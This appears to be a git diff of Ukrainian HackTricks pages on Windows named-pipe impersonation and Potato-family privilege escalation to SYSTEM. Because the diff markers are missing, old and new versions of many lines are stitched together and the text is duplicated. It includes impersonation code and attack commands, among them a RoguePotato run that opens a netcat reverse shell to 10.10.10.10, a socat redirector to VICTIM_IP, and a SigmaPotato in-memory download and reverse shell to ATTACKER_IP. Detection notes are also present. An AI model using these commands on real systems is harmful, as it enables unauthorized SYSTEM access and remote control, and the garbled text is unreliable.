- Прочитати принаймні одне повідомлення з pipe, потім викликати ImpersonateNamedPipeClient.
- Відкрити impersonation token поточного потоку, DuplicateTokenEx(TokenPrimary) та CreateProcessWithTokenW/CreateProcessAsUser щоб отримати процес SYSTEM.
## Вимоги та ключові API
- Привілеї, що зазвичай потрібні викликаючому процесу/потоку:
- SeImpersonatePrivilege для успішної імперсонації підключеного клієнта та для використання CreateProcessWithTokenW.
- Альтернативно, після імперсонації SYSTEM, можна використати CreateProcessAsUser, що може вимагати SeAssignPrimaryTokenPrivilege і SeIncreaseQuotaPrivilege (ці права задовольняються, коли ви імперсонували SYSTEM).
- Привілеї, які зазвичай потрібні викликаючому процесу/потоку:
- SeImpersonatePrivilege щоб успішно імпостерувати підключеного клієнта і використовувати CreateProcessWithTokenW.
- Альтернативно, після імпостерування SYSTEM, можна використовувати CreateProcessAsUser, що може вимагати SeAssignPrimaryTokenPrivilege і SeIncreaseQuotaPrivilege (ці привілеї задовольняються, коли ви імпостеруєте SYSTEM).
- Основні API, що використовуються:
- CreateNamedPipe / ConnectNamedPipe
- ReadFile/WriteFile (треба прочитати принаймні одне повідомлення перед імперсонацією)
- ReadFile/WriteFile (потрібно прочитати принаймні одне повідомлення перед імпостеруванням)
- ImpersonateNamedPipeClient та RevertToSelf
- OpenThreadToken, DuplicateTokenEx(TokenPrimary)
- CreateProcessWithTokenW або CreateProcessAsUser
- Рівень імперсонації: щоб виконувати корисні дії локально, клієнт повинен дозволяти SecurityImpersonation (за замовчуванням для багатьох локальних RPC/named-pipe клієнтів). Клієнти можуть понижувати це, використовуючи SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION при відкритті pipe.
- Рівень імпостерування: щоб виконувати корисні локальні дії, клієнт має дозволяти SecurityImpersonation (типово для багатьох локальних RPC/named-pipe клієнтів). Клієнти можуть знизити це, передавши SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION при відкритті pipe.
## Мінімальний Win32 робочий процес (C)
```c
@ -70,10 +70,10 @@ return 0;
```
Примітки:
- Якщо ImpersonateNamedPipeClient повертає ERROR_CANNOT_IMPERSONATE (1368), переконайтеся, що ви спочатку читаєте з pipe і що клієнт не обмежив impersonation до Identification level.
- Віддавайте перевагу DuplicateTokenEx з SecurityImpersonation і TokenPrimary для створення первинного токена, придатного для створення процесу.
- Віддавайте перевагу DuplicateTokenEx з SecurityImpersonation і TokenPrimary для створення primary token, придатного для створення процесу.
## .NET швидкий приклад
У .NET NamedPipeServerStream може виконувати impersonate через RunAsClient. Після impersonate дублюйте thread token і створіть процес.
У .NET NamedPipeServerStream може impersonate через RunAsClient. Після impersonation продублюйте thread token і створіть процес.
```csharp
using System; using System.IO.Pipes; using System.Runtime.InteropServices; using System.Diagnostics;
class P {
@ -93,13 +93,13 @@ Process pi; CreateProcessWithTokenW(p, 2, null, null, 0, IntPtr.Zero, null, ref
}
}
```
## Загальні тригери/примуси, щоб отримати SYSTEM до вашого pipe
Ці техніки примушують привілейовані служби підключитися до вашого named pipe, щоб ви могли impersonate їх:
## Поширені тригери/примуси, щоб доставити SYSTEM на ваш pipe
Ці техніки примушують привілейовані служби підключитися до вашої named pipe, щоб ви могли impersonate them:
- Print Spooler RPC trigger (PrintSpoofer)
- DCOM activation/NTLM reflection variants (RoguePotato/JuicyPotato[NG], GodPotato)
- EFSRPC pipes (EfsPotato/SharpEfsPotato)
See detailed usage and compatibility here:
Детальне використання та сумісність див. тут:
-
{{#ref}}
@ -110,27 +110,27 @@ roguepotato-and-printspoofer.md
juicypotato.md
{{#endref}}
If you just need a full example of crafting the pipe and impersonating to spawn SYSTEM from a service trigger, see:
Якщо вам потрібен повний приклад створення pipe і impersonating, щоб spawn SYSTEM з service trigger, див.:
-
{{#ref}}
from-high-integrity-to-system-with-name-pipes.md
{{#endref}}
## Усунення проблем і нюанси
- Потрібно прочитати щонайменше одне повідомлення з pipe перед викликом ImpersonateNamedPipeClient; інакше ви отримаєте ERROR_CANNOT_IMPERSONATE (1368).
## Налагодження та підводні камені
- Ви повинні прочитати принаймні одне повідомлення з pipe перед викликом ImpersonateNamedPipeClient; інакше отримаєте ERROR_CANNOT_IMPERSONATE (1368).
- Якщо клієнт підключається з SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION, сервер не зможе повністю impersonate; перевірте рівень impersonation токена через GetTokenInformation(TokenImpersonationLevel).
- CreateProcessWithTokenW вимагає наявності SeImpersonatePrivilege у викликача. Якщо це невдається з ERROR_PRIVILEGE_NOT_HELD (1314), використовуйте CreateProcessAsUser після того, як ви вже impersonated SYSTEM.
- Переконайтеся, що security descriptor вашого pipe дозволяє цільовій службі підключатися, якщо ви його посилюєте; за замовчуванням, pipes під \\.\pipe доступні згідно з DACL сервера.
- CreateProcessWithTokenW вимагає SeImpersonatePrivilege у викликача. Якщо це завершується ERROR_PRIVILEGE_NOT_HELD (1314), використайте CreateProcessAsUser після того, як ви вже impersonated SYSTEM.
- Переконайтесь, що security descriptor вашого pipe дозволяє цільовій службі підключитися, якщо ви його підсилюєте; за замовчуванням, pipe під \\.\pipe доступні відповідно до DACL сервера.
## Виявлення та hardening
- Моніторьте створення та підключення named pipe. Sysmon Event IDs 17 (Pipe Created) і 18 (Pipe Connected) корисні для встановлення базової лінії легітимних імен pipe і виявлення незвичних, випадковоподібних pipe перед подіями маніпуляції токенами.
- Шукайте послідовності: процес створює pipe, служба SYSTEM підключається, потім процес-створювач породжує дочірній процес у контексті SYSTEM.
- Зменшіть ризик, видаливши SeImpersonatePrivilege з неключових облікових записів служб та уникаючи непотрібних логонів служб з високими привілеями.
- Захисна розробка: при підключенні до ненадійних named pipe вказуйте SECURITY_SQOS_PRESENT з SECURITY_IDENTIFICATION, щоб перешкодити серверам повністю impersonate клієнта, якщо це не потрібно.
## Виявлення та захист
- Моніторте створення named pipe і підключення. Sysmon Event IDs 17 (Pipe Created) та 18 (Pipe Connected) корисні для складання бази легітимних імен pipe і виявлення незвичних, випадковоподібних pipe перед подіями маніпуляцій з токеном.
- Шукайте послідовності: процес створює pipe, служба SYSTEM підключається, після чого процес-створювач породжує дочірній процес як SYSTEM.
- Зменшіть ризик, видаливши SeImpersonatePrivilege з неважливих облікових записів служб і уникаючи непотрібних логонів служб з високими привілеями.
- Захисна розробка: при підключенні до ненадійних named pipe вказуйте SECURITY_SQOS_PRESENT з SECURITY_IDENTIFICATION, щоб запобігти повному impersonate серверів клієнта, якщо це не потрібно.
## References
- Windows: ImpersonateNamedPipeClient documentation (impersonation requirements and behavior). https://learn.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-impersonatenamedpipeclient
- ired.team: Windows named pipes privilege escalation (walkthrough and code examples). https://ired.team/offensive-security/privilege-escalation/windows-namedpipes-privilege-escalation
## Посилання
- Windows: ImpersonateNamedPipeClient documentation (вимоги до impersonation та поведінка). https://learn.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-impersonatenamedpipeclient
- ired.team: Windows named pipes privilege escalation (покрокове керівництво та приклади коду). https://ired.team/offensive-security/privilege-escalation/windows-namedpipes-privilege-escalation
{{#include ../../banners/hacktricks-training.md}}

View File

@ -3,10 +3,10 @@
{{#include ../../banners/hacktricks-training.md}}
> [!WARNING]
> **JuicyPotato не працює** на Windows Server 2019 та Windows 10 build 1809 і новіших версіях. Однак [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**,** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**,** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)** можуть бути використані, щоб **отримати ті ж привілеї та доступ рівня `NT AUTHORITY\SYSTEM`**. This [blog post](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) детально розглядає інструмент `PrintSpoofer`, який можна використовувати для зловживання правами імперсонації на хостах Windows 10 та Server 2019, де JuicyPotato більше не працює.
> **JuicyPotato не працює** на Windows Server 2019 і Windows 10 build 1809 та новіших версіях. Однак [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**,** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**,** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)** можуть бути використані для отримання тих же привілеїв і підвищення до рівня доступу `NT AUTHORITY\SYSTEM`. Цей [blog post](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) детально описує інструмент `PrintSpoofer`, який можна використовувати для зловживання impersonation privileges на хостах Windows 10 і Server 2019, де JuicyPotato більше не працює.
> [!TIP]
> Сучасною альтернативою, яка часто підтримується в 20242025 роках, є SigmaPotato (форк GodPotato), який додає використання in-memory/.NET reflection та розширену підтримку ОС. Дивіться швидке використання нижче та репозиторій у References.
> Сучасна альтернатива, яка регулярно підтримується у 20242025, — SigmaPotato (форк GodPotato), який додає in-memory/.NET reflection використання та розширену підтримку ОС. Див. швидке використання нижче та репо в References.
Related pages for background and manual techniques:
@ -24,23 +24,23 @@ privilege-escalation-abusing-tokens.md
## Вимоги та поширені підводні камені
Усі наведені нижче техніки засновані на зловживанні службою з привілеями, що дозволяє імперсонацію, з контексту, який має одну з наступних привілеїв:
Всі наступні техніки залежать від зловживання привілейованою службою, яка підтримує impersonation, з контексту, що має один із цих привілеїв:
- SeImpersonatePrivilege (найчастіше) або SeAssignPrimaryTokenPrivilege
- High integrity не потрібен, якщо токен вже має SeImpersonatePrivilege (типово для багатьох облікових записів служб, таких як IIS AppPool, MSSQL тощо)
- SeImpersonatePrivilege (найпоширеніший) або SeAssignPrimaryTokenPrivilege
- Високий рівень цілісності не потрібен, якщо токен вже має SeImpersonatePrivilege (типово для багатьох сервісних акаунтів, таких як IIS AppPool, MSSQL тощо)
Швидко перевірте привілеї:
```cmd
whoami /priv | findstr /i impersonate
```
Операційні нотатки:
Operational notes:
- PrintSpoofer потребує, щоб сервіс Print Spooler був запущений і доступний через локальний RPC-ендпоінт (spoolss). В ускладнених середовищах, де Spooler вимкнено після PrintNightmare, надавайте перевагу RoguePotato/GodPotato/DCOMPotato/EfsPotato.
- RoguePotato вимагає OXID resolver, доступний по TCP/135. Якщо вихідний трафік заблокований, використовуйте redirector/port-forwarder (див. приклад нижче). Старіші збірки потребували прапора -f.
- PrintSpoofer потребує, щоб сервіс Print Spooler був запущений і доступний через локальний RPC-ендпоінт (spoolss). У захищених середовищах, де Spooler вимкнено після PrintNightmare, віддавайте перевагу RoguePotato/GodPotato/DCOMPotato/EfsPotato.
- RoguePotato вимагає OXID resolver, доступного на TCP/135. Якщо egress заблоковано, використовуйте redirector/port-forwarder (див. приклад нижче). Старіші збірки вимагали прапорця -f.
- EfsPotato/SharpEfsPotato зловживають MS-EFSR; якщо один pipe заблоковано, спробуйте альтернативні pipe (lsarpc, efsrpc, samr, lsass, netlogon).
- Помилка 0x6d3 під час RpcBindingSetAuthInfo зазвичай означає невідомий/непідтримуваний RPC authentication service; спробуйте інший pipe/transport або переконайтесь, що цільовий сервіс запущений.
- Помилка 0x6d3 під час RpcBindingSetAuthInfo зазвичай вказує на невідомий/непідтримуваний RPC authentication service; спробуйте інший pipe/transport або переконайтеся, що цільовий сервіс запущено.
## Швидка демонстрація
## Швидке демо
### PrintSpoofer
```bash
@ -58,8 +58,8 @@ NULL
```
Примітки:
- Ви можете використовувати -i, щоб запустити інтерактивний процес у поточній консолі, або -c для виконання one-liner.
- Потребує служби Spooler. Якщо вона вимкнена, це не вдасться.
- Ви можете використовувати -i, щоб створити інтерактивний процес у поточній консолі, або -c, щоб виконати однорядкову команду.
- Потребує службу Spooler. Якщо вона відключена, це не спрацює.
### RoguePotato
```bash
@ -67,7 +67,7 @@ c:\RoguePotato.exe -r 10.10.10.10 -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd" -l
# In some old versions you need to use the "-f" param
c:\RoguePotato.exe -r 10.10.10.10 -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd" -f 9999
```
Якщо вихідний порт 135 заблоковано, pivot OXID resolver через socat на вашому redirector:
Якщо outbound 135 заблоковано, перенаправте OXID resolver через socat на вашому redirector:
```bash
# On attacker redirector (must listen on TCP/135 and forward to victim:9999)
socat tcp-listen:135,reuseaddr,fork tcp:VICTIM_IP:9999
@ -111,7 +111,7 @@ CVE-2021-36942 patch bypass (EfsRpcEncryptFileSrv method) + alternative pipes su
nt authority\system
```
Порада: Якщо один pipe не працює або EDR його блокує, спробуйте інші підтримувані pipes:
Порада: Якщо один pipe не спрацьовує або EDR його блокує, спробуйте інші підтримувані pipe:
```text
EfsPotato <cmd> [pipe]
pipe -> lsarpc|efsrpc|samr|lsass|netlogon (default=lsarpc)
@ -129,7 +129,7 @@ pipe -> lsarpc|efsrpc|samr|lsass|netlogon (default=lsarpc)
![image](https://github.com/user-attachments/assets/a3153095-e298-4a4b-ab23-b55513b60caa)
DCOMPotato надає два варіанти, що націлені на service DCOM objects, які за замовчуванням мають RPC_C_IMP_LEVEL_IMPERSONATE. Скомпілюйте або використайте надані binaries і запустіть вашу команду:
DCOMPotato надає два варіанти, що націлені на DCOM-об'єкти служби, які за замовчуванням використовують RPC_C_IMP_LEVEL_IMPERSONATE. Зберіть або використайте надані бінарні файли та запустіть вашу команду:
```cmd
# PrinterNotify variant
PrinterNotifyPotato.exe "cmd /c whoami"
@ -137,9 +137,9 @@ PrinterNotifyPotato.exe "cmd /c whoami"
# McpManagementService variant (Server 2022 also)
McpManagementPotato.exe "cmd /c whoami"
```
### SigmaPotato (оновлений форк GodPotato)
### SigmaPotato (updated GodPotato fork)
SigmaPotato додає сучасні зручності, як-от in-memory execution через .NET reflection і PowerShell reverse shell helper.
SigmaPotato додає сучасні зручності, такі як in-memory execution через .NET reflection та PowerShell reverse shell helper.
```powershell
# Load and execute from memory (no disk touch)
[System.Reflection.Assembly]::Load((New-Object System.Net.WebClient).DownloadData("http://ATTACKER_IP/SigmaPotato.exe"))
@ -148,15 +148,15 @@ SigmaPotato додає сучасні зручності, як-от in-memory ex
# Or ask it to spawn a PS reverse shell
[SigmaPotato]::Main(@("--revshell","ATTACKER_IP","4444"))
```
## Примітки щодо виявлення та посилення захисту
## Примітки щодо виявлення та захисту
- Моніторте процеси, що створюють named pipes і одразу викликають API для дублювання токенів, а потім CreateProcessAsUser/CreateProcessWithTokenW. Sysmon може надати корисну телеметрію: Event ID 1 (створення процесу), 17/18 (named pipe створено/підключено) та командні рядки, що порождають дочірні процеси як SYSTEM.
- Посилення захисту Spooler: Вимкнення служби Print Spooler на серверах, де вона не потрібна, запобігає локальним зловживанням у стилі PrintSpoofer через spoolss.
- Посилення безпеки облікових записів сервісів: мінімізуйте призначення SeImpersonatePrivilege/SeAssignPrimaryTokenPrivilege для кастомних сервісів. Розгляньте запуск сервісів під virtual accounts з мінімально необхідними правами та ізоляцію за допомогою service SID і write-restricted tokens, коли це можливо.
- Мережеві контролі: Блокування вихідного TCP/135 або обмеження трафіку RPC endpoint mapper може зламати RoguePotato, якщо не доступний internal redirector.
- EDR/AV: Усі ці інструменти широко сигнатуровані. Перекомпіляція з вихідників, перейменування символів/рядків або виконання в пам'яті може зменшити виявлення, але не подолає надійні поведінкові детекції.
- Моніторьте процеси, які створюють іменовані пайпи та одразу викликають token-duplication APIs, а потім CreateProcessAsUser/CreateProcessWithTokenW. Sysmon може надати корисну телеметрію: Event ID 1 (створення процесу), 17/18 (іменований пайп створено/підключено) та командні рядки, що породжують дочірні процеси від імені SYSTEM.
- Spooler hardening: Вимкнення служби Print Spooler на серверах, де вона не потрібна, перешкоджає атакам на локальне підвищення привілеїв у стилі PrintSpoofer через spoolss.
- Service account hardening: Мінімізуйте призначення SeImpersonatePrivilege/SeAssignPrimaryTokenPrivilege кастомним сервісам. Розгляньте запуск сервісів під віртуальними обліковими записами з мінімально необхідними привілеями та ізоляцією за допомогою service SID і токенів з обмеженням на запис, коли це можливо.
- Network controls: Блокування вихідних TCP/135 або обмеження трафіку RPC endpoint mapper може зламати RoguePotato, якщо не доступний внутрішній редиректор.
- EDR/AV: Всі ці інструменти широко підписані сигнатурами. Перекомпіляція з вихідників, перейменування символів/рядків або виконання в пам'яті може знизити виявлення, але не обійде надійні поведінкові детекції.
## Посилання
## Джерела
- [https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/)
- [https://github.com/itm4n/PrintSpoofer](https://github.com/itm4n/PrintSpoofer)